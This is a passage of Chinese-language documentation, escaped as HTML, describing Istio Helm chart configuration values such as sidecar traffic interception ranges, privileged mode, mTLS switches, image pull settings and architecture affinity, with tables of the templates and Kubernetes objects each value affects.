&lt;h3 id=&#34;影响范围-5&#34;&gt;影响范围&lt;/h3&gt;

&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;文件&lt;/th&gt;
&lt;th&gt;对象&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;

&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;istio/templates/configmap.yaml&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;ConfigMap：&lt;code&gt;istio&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;

&lt;h2 id=&#34;proxy-accesslogfile&#34;&gt;proxy.accessLogFile&lt;/h2&gt;

&lt;p&gt;缺省值为 &lt;code&gt;/dev/stdout&lt;/code&gt;。&lt;/p&gt;

&lt;p&gt;Sidecar 的访问日志位置，如果设置为空字符串，则关闭访问日志功能。&lt;/p&gt;

&lt;h3 id=&#34;影响范围-6&#34;&gt;影响范围&lt;/h3&gt;

&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;文件&lt;/th&gt;
&lt;th&gt;对象&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;

&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;templates/configmap.yaml&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;ConfigMap：&lt;code&gt;istio&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;

&lt;h2 id=&#34;proxy-privileged&#34;&gt;proxy.privileged&lt;/h2&gt;

&lt;p&gt;缺省值为 &lt;code&gt;false&lt;/code&gt;。&lt;/p&gt;

&lt;p&gt;&lt;code&gt;istio-init&lt;/code&gt;、&lt;code&gt;istio-proxy&lt;/code&gt; 的特权模式开关。&lt;/p&gt;

&lt;h3 id=&#34;影响范围-7&#34;&gt;影响范围&lt;/h3&gt;

&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;文件&lt;/th&gt;
&lt;th&gt;对象&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;

&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;templates/sidecar-injector-configmap.yaml&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;ConfigMap &lt;code&gt;istio-sidecar-injector&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;

&lt;h2 id=&#34;proxy-enablecoredump&#34;&gt;proxy.enableCoreDump&lt;/h2&gt;

&lt;p&gt;缺省值为 &lt;code&gt;false&lt;/code&gt;。&lt;/p&gt;

&lt;p&gt;如果打开，新注入的 Sidecar 会启动 CoreDump 功能，加入初始化容器 &lt;code&gt;enable-core-dump&lt;/code&gt;。&lt;/p&gt;

&lt;h3 id=&#34;影响范围-8&#34;&gt;影响范围&lt;/h3&gt;

&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;文件&lt;/th&gt;
&lt;th&gt;对象&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;

&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;templates/sidecar-injector-configmap.yaml&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;ConfigMap &lt;code&gt;istio-sidecar-injector&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;

&lt;h2 id=&#34;proxy-includeipranges&#34;&gt;proxy.includeIPRanges&lt;/h2&gt;

&lt;p&gt;缺省值为 &lt;code&gt;&amp;quot;*&amp;quot;&lt;/code&gt;。&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;https://istio.io/docs/tasks/traffic-management/egress.html#calling-external-services-directly&#34; target=&#34;_blank&#34;&gt;劫持白名单&lt;/a&gt;，仅劫持该 CIDR 范围内的 IP。&lt;/p&gt;

&lt;h3 id=&#34;影响范围-9&#34;&gt;影响范围&lt;/h3&gt;

&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;文件&lt;/th&gt;
&lt;th&gt;对象&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;

&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;templates/sidecar-injector-configmap.yaml&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;ConfigMap &lt;code&gt;istio-sidecar-injector&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;修改 &lt;code&gt;istio-init&lt;/code&gt; 的 &lt;code&gt;-i&lt;/code&gt; 参数，等价的 Pod Annotation 为 &lt;code&gt;traffic.sidecar.istio.io/includeOutboundIPRanges&lt;/code&gt;。&lt;/p&gt;

&lt;h2 id=&#34;proxy-excludeipranges&#34;&gt;proxy.excludeIPRanges&lt;/h2&gt;

&lt;p&gt;缺省值为 &lt;code&gt;&amp;quot;&amp;quot;&lt;/code&gt;。&lt;/p&gt;

&lt;p&gt;CIDR 范围之外的所有 IP 都会被劫持。&lt;/p&gt;

&lt;h3 id=&#34;影响范围-10&#34;&gt;影响范围&lt;/h3&gt;

&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;文件&lt;/th&gt;
&lt;th&gt;对象&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;

&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;templates/sidecar-injector-configmap.yaml&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;ConfigMap &lt;code&gt;istio-sidecar-injector&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;修改 &lt;code&gt;istio-init&lt;/code&gt; 的 &lt;code&gt;-x&lt;/code&gt; 参数，等价的 Pod Annotation 为 &lt;code&gt;traffic.sidecar.istio.io/excludeOutboundIPRanges&lt;/code&gt;。&lt;/p&gt;

&lt;h2 id=&#34;proxy-includeinboundports&#34;&gt;proxy.includeInboundPorts&lt;/h2&gt;

&lt;p&gt;缺省值为 &lt;code&gt;&amp;quot;*&amp;quot;&lt;/code&gt;。&lt;/p&gt;

&lt;p&gt;进入端口的劫持白名单，所有从范围内端口进入 Pod 的流量会被劫持。&lt;/p&gt;

&lt;h3 id=&#34;影响范围-11&#34;&gt;影响范围&lt;/h3&gt;

&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;文件&lt;/th&gt;
&lt;th&gt;对象&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;

&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;templates/sidecar-injector-configmap.yaml&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;ConfigMap &lt;code&gt;istio-sidecar-injector&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;修改 &lt;a href=&#34;https://github.com/istio/istio/blob/master/tools/deb/istio-iptables.sh&#34; target=&#34;_blank&#34;&gt;&lt;code&gt;istio-init&lt;/code&gt;&lt;/a&gt; 的 &lt;code&gt;-b&lt;/code&gt; 参数，等价的 Pod Annotation 为 &lt;code&gt;traffic.sidecar.istio.io/includeInboundPorts&lt;/code&gt;。&lt;/p&gt;

&lt;h2 id=&#34;proxy-excludeinboundports&#34;&gt;proxy.excludeInboundPorts&lt;/h2&gt;

&lt;p&gt;缺省值为 &lt;code&gt;&amp;quot;&amp;quot;&lt;/code&gt;。&lt;/p&gt;

&lt;p&gt;进入端口的劫持黑名单，所有从范围外端口进入 Pod 的流量会被劫持。&lt;/p&gt;

&lt;h3 id=&#34;影响范围-12&#34;&gt;影响范围&lt;/h3&gt;

&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;文件&lt;/th&gt;
&lt;th&gt;对象&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;

&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;templates/sidecar-injector-configmap.yaml&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;ConfigMap &lt;code&gt;istio-sidecar-injector&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;修改 &lt;a href=&#34;https://github.com/istio/istio/blob/master/tools/deb/istio-iptables.sh&#34; target=&#34;_blank&#34;&gt;&lt;code&gt;istio-init&lt;/code&gt;&lt;/a&gt; 的 &lt;code&gt;-d&lt;/code&gt; 参数，等价的 Pod Annotation 为 &lt;code&gt;traffic.sidecar.istio.io/excludeOutboundIPRanges&lt;/code&gt;。&lt;/p&gt;

&lt;h2 id=&#34;proxy-autoinject&#34;&gt;proxy.autoInject&lt;/h2&gt;

&lt;p&gt;缺省值为 &lt;code&gt;enabled&lt;/code&gt;。用于指定 Sidecar 注入器的策略。&lt;/p&gt;

&lt;h3 id=&#34;影响范围-13&#34;&gt;影响范围&lt;/h3&gt;

&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;文件&lt;/th&gt;
&lt;th&gt;对象&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;

&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;templates/sidecar-injector-configmap.yaml&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;ConfigMap &lt;code&gt;istio-sidecar-injector&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;

&lt;h2 id=&#34;proxy-envoystatsd&#34;&gt;proxy.envoyStatsd&lt;/h2&gt;

&lt;p&gt;缺省值为：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;enabled: true
host: istio-statsd-prom-bridge
port: 9125
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;设置 Envoy 的 statsd 目标，也就是 Envoy 的 &lt;code&gt;&amp;quot;--statsdUdpAddress&lt;/code&gt; 参数。某些情况下（例如没有安装 Mixer）可以关闭。&lt;/p&gt;

&lt;h3 id=&#34;影响范围-14&#34;&gt;影响范围&lt;/h3&gt;

&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;文件&lt;/th&gt;
&lt;th&gt;对象&lt;/th&gt;
&lt;th&gt;备注&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;

&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;charts/ingress/templates/deployment.yaml&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Deployment：&lt;code&gt;istio-ingress&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;code&gt;templates/configmap.yaml&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;ConfigMap：&lt;code&gt;istio&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;code&gt;templates/sidecar-injector-configmap.yaml&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;ConfigMap：&lt;code&gt;istio-sidecar-injector&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;istio-init&lt;/code&gt;、&lt;code&gt;enable-core-dump&lt;/code&gt;、&lt;code&gt;istio-proxy&lt;/code&gt; 三个容器的镜像&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;

&lt;h2 id=&#34;proxy-init-image&#34;&gt;proxy_init.image&lt;/h2&gt;

&lt;p&gt;缺省值为 &lt;code&gt;proxy_init&lt;/code&gt;，指定初始化镜像。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;前面提到过，如果这里使用一个带有路径符号 &lt;code&gt;/&lt;/code&gt; 的镜像名称，会忽略前面的 &lt;code&gt;global.hub/tag&lt;/code&gt; 的设置。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3 id=&#34;影响范围-15&#34;&gt;影响范围&lt;/h3&gt;

&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;文件&lt;/th&gt;
&lt;th&gt;对象&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;

&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;templates/sidecar-injector-configmap.yaml&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;ConfigMap &lt;code&gt;istio-sidecar-injector&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;

&lt;h2 id=&#34;imagepullpolicy&#34;&gt;imagePullPolicy&lt;/h2&gt;

&lt;p&gt;缺省值为 &lt;code&gt;IfNotPresent&lt;/code&gt;。镜像的拉取策略。&lt;/p&gt;

&lt;h2 id=&#34;影响范围-16&#34;&gt;影响范围&lt;/h2&gt;

&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;文件&lt;/th&gt;
&lt;th&gt;对象&lt;/th&gt;
&lt;th&gt;说明&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;

&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;charts/certmanager/templates/deployment.yaml&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Deployment：&lt;code&gt;certmanager&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;code&gt;charts/galley/templates/deployment.yaml&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Deployment：&lt;code&gt;istio-galley&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;code&gt;charts/gateways/templates/deployment.yaml&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;所有 Gateway 的 Deployment&lt;/td&gt;
&lt;td&gt;Container：&lt;code&gt;istio-proxy&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;code&gt;charts/grafana/templates/deployment.yaml&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Deployment：&lt;code&gt;grafana&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;code&gt;charts/ingress/templates/deployment.yaml&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Deployment：&lt;code&gt;istio-ingress&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;code&gt;charts/mixer/templates/deployment.yaml&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Deployment：&lt;code&gt;istio-policy/istio-telemetry&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Container：&lt;code&gt;istio-proxy&lt;/code&gt;/&lt;code&gt;mixer&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;code&gt;charts/mixer/templates/statsdtoprom.yaml&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Deployment：&lt;code&gt;istio-statsd-prom-bridge&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;code&gt;charts/pilot/templates/deployment.yaml&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Deployment：&lt;code&gt;istio-pilot&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;code&gt;charts/prometheus/templates/deployment.yaml&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Deployment：&lt;code&gt;prometheus&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;code&gt;charts/security/templates/deployment.yaml&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Deployment：&lt;code&gt;istio-citadel&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;code&gt;charts/servicegraph/templates/deployment.yaml&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Deployment：&lt;code&gt;servicegraph&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;code&gt;charts/sidecarInjectorWebhook/templates/deployment.yaml&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Deployment：&lt;code&gt;istio-sidecar-injector&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;code&gt;charts/tracing/templates/deployment.yaml&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Deployment：&lt;code&gt;istio-tracing&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;code&gt;templates/sidecar-injector-configmap.yaml&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;ConfigMap：&lt;code&gt;istio-sidecar-injector&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Container：&lt;code&gt;istio-init&lt;/code&gt;，&lt;code&gt;istio-proxy&lt;/code&gt;，&lt;code&gt;enable-core-dump&lt;/code&gt; 未受影响&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;

&lt;h2 id=&#34;controlplanesecurityenabled&#34;&gt;controlPlaneSecurityEnabled&lt;/h2&gt;

&lt;p&gt;缺省值为 &lt;code&gt;false&lt;/code&gt;。控制面是否启用 mTLS。&lt;/p&gt;

&lt;h3 id=&#34;影响范围-17&#34;&gt;影响范围&lt;/h3&gt;

&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;文件&lt;/th&gt;
&lt;th&gt;对象&lt;/th&gt;
&lt;th&gt;说明&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;

&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;charts/ingress/templates/deployment.yaml&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Deployment：&lt;code&gt;istio-ingress&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;控制 Ingress 参数 &lt;code&gt;--controlPlaneAuthPolicy&lt;/code&gt; 的取值，&lt;code&gt;MUTUAL_TLS&lt;/code&gt; 或者 &lt;code&gt;NONE&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;code&gt;charts/mixer/templates/config.yaml&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;DestinationRule: &lt;code&gt;istio-policy&lt;/code&gt; 和  DestinationRule: &lt;code&gt;istio-telemetry&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;为端口 &lt;code&gt;15004&lt;/code&gt; 启用 &lt;code&gt;ISTIO_MUTUAL&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;code&gt;charts/mixer/templates/deployment.yaml&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Deployment：&lt;code&gt;istio-policy&lt;/code&gt;/&lt;code&gt;istio-telemetry&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;控制 Sidecar &lt;code&gt;istio-proxy&lt;/code&gt; 参数 &lt;code&gt;--controlPlaneAuthPolicy&lt;/code&gt; 的值，可选 &lt;code&gt;MUTUAL_TLS&lt;/code&gt; 或者 &lt;code&gt;NONE&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;code&gt;charts/pilot/templates/deployment.yaml&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Deployment：&lt;code&gt;istio-pilot&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;控制 Sidecar &lt;code&gt;istio-proxy&lt;/code&gt; 参数 &lt;code&gt;--controlPlaneAuthPolicy&lt;/code&gt; 的值，可选 &lt;code&gt;MUTUAL_TLS&lt;/code&gt; 或者 &lt;code&gt;NONE&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;code&gt;templates/configmap.yaml&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;ConfigMap：&lt;code&gt;istio&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;控制 Sidecar &lt;code&gt;istio-proxy&lt;/code&gt; 参数 &lt;code&gt;--controlPlaneAuthPolicy&lt;/code&gt; 的值，可选 &lt;code&gt;MUTUAL_TLS&lt;/code&gt; 或者 &lt;code&gt;NONE&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;

&lt;h2 id=&#34;disablepolicychecks&#34;&gt;disablePolicyChecks&lt;/h2&gt;

&lt;p&gt;缺省值 &lt;code&gt;false&lt;/code&gt;。&lt;/p&gt;

&lt;p&gt;禁用 Mixer 策略检查。&lt;/p&gt;

&lt;h3 id=&#34;影响范围-18&#34;&gt;影响范围&lt;/h3&gt;

&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;文件&lt;/th&gt;
&lt;th&gt;对象&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;

&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;templates/configmap.yaml&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;ConfigMap &lt;code&gt;istio&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;

&lt;h2 id=&#34;enabletracing&#34;&gt;enableTracing&lt;/h2&gt;

&lt;p&gt;缺省值 &lt;code&gt;true&lt;/code&gt;。&lt;/p&gt;

&lt;p&gt;设置请求跟踪。&lt;/p&gt;

&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;文件&lt;/th&gt;
&lt;th&gt;对象&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;

&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;templates/configmap.yaml&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;ConfigMap &lt;code&gt;istio&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;

&lt;h3 id=&#34;影响范围-19&#34;&gt;影响范围&lt;/h3&gt;

&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;文件&lt;/th&gt;
&lt;th&gt;对象&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;

&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;templates/configmap.yaml&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;ConfigMap &lt;code&gt;istio&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;

&lt;h2 id=&#34;mtls-enabled&#34;&gt;mtls.enabled&lt;/h2&gt;

&lt;p&gt;缺省值 &lt;code&gt;false&lt;/code&gt;。服务间 mTLS 的缺省设置，可以使用目标规则或者服务注解进行覆盖。这一开关会控制生成一系列的 Job、ConfigMap 以及 Kubernetes RBAC 的相关内容，详情将会在 Security Chart 中讲解。&lt;/p&gt;

&lt;h3 id=&#34;影响范围-20&#34;&gt;影响范围&lt;/h3&gt;

&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;文件&lt;/th&gt;
&lt;th&gt;对象&lt;/th&gt;
&lt;th&gt;说明&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;

&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;charts/security/templates/configmap.yaml&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;ConfigMap：&lt;code&gt;istio-security-custom-resources&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;code&gt;charts/security/templates/create-custom-resources-job.yaml&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;ServiceAccount: &lt;code&gt;istio-security-post-install-account&lt;/code&gt; ClusterRole: &lt;code&gt;istio-security-post-install-istio-system&lt;/code&gt; ClusterRoleBinding: &lt;code&gt;istio-security-post-install-role-binding-istio-system&lt;/code&gt; Job：&lt;code&gt;istio-security-post-install&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;这几个对象都需要启动这一开关才会创建&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;

&lt;h2 id=&#34;imagepullsecrets&#34;&gt;imagePullSecrets&lt;/h2&gt;

&lt;p&gt;缺省为空。&lt;/p&gt;

&lt;p&gt;用于为 ServiceAccount 分配镜像拉取过程所需的凭证。&lt;/p&gt;

&lt;h3 id=&#34;影响范围-21&#34;&gt;影响范围&lt;/h3&gt;

&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;文件&lt;/th&gt;
&lt;th&gt;对象&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;

&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;charts/certmanager/templates/serviceaccount.yaml&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;ServiceAccount: &lt;code&gt;certmanager&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;code&gt;charts/galley/templates/serviceaccount.yaml&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;ServiceAccount: &lt;code&gt;istio-galley-service-account&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;code&gt;charts/gateways/templates/serviceaccount.yaml&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;所有 Gateways 自动生成的 ServiceAccount&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;code&gt;charts/ingress/templates/serviceaccount.yaml&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;ServiceAccount: &lt;code&gt;istio-ingress-service-account&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;code&gt;charts/kiali/templates/serviceaccount.yaml&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;ServiceAccount: &lt;code&gt;kiali-service-account&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;code&gt;charts/mixer/templates/serviceaccount.yaml&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;ServiceAccount: &lt;code&gt;istio-mixer-service-account&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;code&gt;charts/pilot/templates/serviceaccount.yaml&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;ServiceAccount: &lt;code&gt;istio-pilot-service-account&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;code&gt;charts/prometheus/templates/serviceaccount.yaml&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;ServiceAccount: &lt;code&gt;prometheus&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;code&gt;charts/security/templates/serviceaccount.yaml&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;ServiceAccount: &lt;code&gt;istio-citadel-service-account&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;code&gt;charts/sidecarInjectorWebhook/templates/serviceaccount.yaml&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;ServiceAccount: &lt;code&gt;istio-sidecar-injector-service-account&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;

&lt;h2 id=&#34;arch&#34;&gt;arch&lt;/h2&gt;

&lt;p&gt;缺省值：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;amd64: 2
s390x: 2
ppc64le: 2
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;用于 Kubernetes 的节点亲和性调度过程。&lt;/p&gt;

&lt;p&gt;这里列出了几种支持的服务器架构，并给出了优先级。详情请参看本文系列第一篇。&lt;/p&gt;

&lt;h2 id=&#34;onenamespace&#34;&gt;oneNamespace&lt;/h2&gt;

&lt;p&gt;缺省值 &lt;code&gt;false&lt;/code&gt;。&lt;/p&gt;

&lt;p&gt;如果设置为 &lt;code&gt;true&lt;/code&gt;，会对控制面管理的应用命名空间进行限制。如果没有设置，则监控所有命名空间。&lt;/p&gt;

&lt;h3 id=&#34;影响范围-22&#34;&gt;影响范围&lt;/h3&gt;

&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;文件&lt;/th&gt;
&lt;th&gt;对象&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;

&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;charts/pilot/templates/deployment.yaml&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Deployment：&lt;code&gt;istio-pilot&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
